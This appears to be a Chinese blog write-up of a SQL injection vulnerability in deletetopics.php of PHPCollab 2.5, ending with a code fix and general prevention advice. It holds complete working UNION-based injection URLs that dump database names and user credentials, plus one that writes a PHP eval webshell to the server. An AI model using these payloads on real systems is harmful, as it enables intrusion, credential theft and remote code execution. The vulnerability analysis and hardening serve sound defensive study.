[漏洞分析] PHPCollab 2.5 SQL注入漏洞
2015-05-26 15:24
260 查看
此漏洞的编号为EDBID:37004 OSVDB:122102
phpCollab is an open source internet-enabled system for use in projects that require collaboration over the internet.
Those organizations, such as consulting firms, that rely on a division between firm-side and client-side information will benefit most from use of phpCollab
phpCollab是一个开源的基于internet的系统,用在需要通过internet来进行合作的项目中。比如咨询公司,需要隔离公司与客户信息,可以从phpCollab中得到很多利益。
官网为http://www.phpcollab.com/
漏洞存在于topics文件夹下面的deletetopics.php中
一、漏洞复盘
安装此web程序,实验之前需要新添加一个项目
随后在项目下添加话题
漏洞存在于删除评论时,参数project为漏洞点
首先加一个撇号,可见网页中返回了错误信息
通过order by判断SQL语句中存在多少列,根据网页的反馈可知共存在22列
接下来寻找可利用的回显位置,发现是位置6
利用函数database(),user(),version()分别得到数据库的名称,用户名称以及数据库的版本号
得到所有数据库的名称
得到phpcollab数据库中所有表的名字
得到members表中所有列的名称
最终得到用户名和密码
也可以通过此漏洞向网站中写入webshell
通过一句话木马的客户端连接webshell,成功,表示木马已经写入
二、漏洞分析
topics文件夹下面的deletetopics.php中第27行至33行是存在漏洞的位置
程序直接从URL中取下project变量值,随后保存在变量$project中,在第32行未作任何安全处理的情况下直接放到SQL语句中。
三、安全加固
对变量$project的类型进行强制转换,利用函数intval(),即将变量变为下面这个样子
加固之后如果在project参数后面加撇号,发现程序不再报错了
四、防范SQL注入的方法
1使用预编译语句
2使用存储过程
3检查数据类型
4使用安全函数(OWASP ESAPI)
phpCollab is an open source internet-enabled system for use in projects that require collaboration over the internet.
Those organizations, such as consulting firms, that rely on a division between firm-side and client-side information will benefit most from use of phpCollab
phpCollab是一个开源的基于internet的系统,用在需要通过internet来进行合作的项目中。比如咨询公司,需要隔离公司与客户信息,可以从phpCollab中得到很多利益。
官网为http://www.phpcollab.com/
漏洞存在于topics文件夹下面的deletetopics.php中
一、漏洞复盘
安装此web程序,实验之前需要新添加一个项目
随后在项目下添加话题
漏洞存在于删除评论时,参数project为漏洞点
http://[HOST]/phpcollab/topics/deletetopics.php?project=2&id=2&PHPSESSID=27tujmpv903453tcto9o9jf465
首先加一个撇号,可见网页中返回了错误信息
http://[HOST]/phpcollab/topics/deletetopics.php?project=2%27%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20--%20&PHPSESSID=27tujmpv903453tcto9o9jf465&id=2
通过order by判断SQL语句中存在多少列,根据网页的反馈可知共存在22列
接下来寻找可利用的回显位置,发现是位置6
利用函数database(),user(),version()分别得到数据库的名称,用户名称以及数据库的版本号
得到所有数据库的名称
http://[HOST]/phpcollab/topics/deletetopics.php?project=2%27%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.schemata--%20&PHPSESSID=27tujmpv903453tcto9o9jf465&id=1
得到phpcollab数据库中所有表的名字
http://[HOST]/phpcollab/topics/deletetopics.php?project=2%27%20union%20select%201,2,3,4,5,group_concat(table_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.tables%20where%20table_schema=0x706870636f6c6c6162--%20&PHPSESSID=27tujmpv903453tcto9o9jf465&id=1
得到members表中所有列的名称
http://[HOST]/phpcollab/topics/deletetopics.php?project=2%27%20union%20select%201,2,3,4,5,group_concat(column_name),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20information_schema.columns%20where%20table_name=0x6d656d62657273--%20&PHPSESSID=27tujmpv903453tcto9o9jf465&id=1
最终得到用户名和密码
http://[HOST]/phpcollab/topics/deletetopics.php?project=2%27%20union%20select%201,2,3,4,5,group_concat(login,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20members--%20&PHPSESSID=27tujmpv903453tcto9o9jf465&id=1
也可以通过此漏洞向网站中写入webshell
http://[HOST]/phpcollab/topics/deletetopics.php?project=2%27%20union%20select%201,2,3,4,5,%27%3C?php%20@eval($_POST[cmd]);?%3E%27,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20%20into%20outfile%20%27c:/wamp/www/phpcollab/ma2.php%27--%20&PHPSESSID=27tujmpv903453tcto9o9jf465&id=1
通过一句话木马的客户端连接webshell,成功,表示木马已经写入
二、漏洞分析
topics文件夹下面的deletetopics.php中第27行至33行是存在漏洞的位置
if($_GET['project']){ $project = $_GET['project']; } else { unset($project); } $tmpquery = "WHERE pro.id = '$project'";
程序直接从URL中取下project变量值,随后保存在变量$project中,在第32行未作任何安全处理的情况下直接放到SQL语句中。
三、安全加固
对变量$project的类型进行强制转换,利用函数intval(),即将变量变为下面这个样子
if($_GET['project']){ $project = $_GET['project']; $project = intval($project); } else { unset($project); } $tmpquery = "WHERE pro.id = '$project'";
加固之后如果在project参数后面加撇号,发现程序不再报错了
四、防范SQL注入的方法
1使用预编译语句
2使用存储过程
3检查数据类型
4使用安全函数(OWASP ESAPI)
相关文章推荐
- Discuz7.2版的faq.php SQL注入漏洞分析
- PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析
- Discuz7.2版的faq.php SQL注入漏洞分析
- Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战
- 织梦Dedecms buy_action.php SQL注入漏洞分析
- DedeCMSrecommend.php文件通杀SQL注入漏洞原理分析
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP文件包含漏洞原理分析和利用方法
- PHP sql注入漏洞修复(数字型)
- php远程执行漏洞分析
- 简单分析什么是SQL注入漏洞
- php防止sql注入示例分析和几种常见攻击正则表达式
- PHP代码网站如何防范SQL注入漏洞攻击建议分享
- Dedecms v5.7 plus\feedback.php SQL注入漏洞
- 如何使用PDO查询Mysql来避免SQL注入风险?ThinkPHP 3.1中的SQL注入漏洞分析!
- php页面漏洞分析及相关问题解决
- phpcms <= v9.15 任意文件读取漏洞的分析和利用
- php防止sql注入漏洞代码
- [漏洞分析] simple-log_v1.3.1中存在的SQL注入漏洞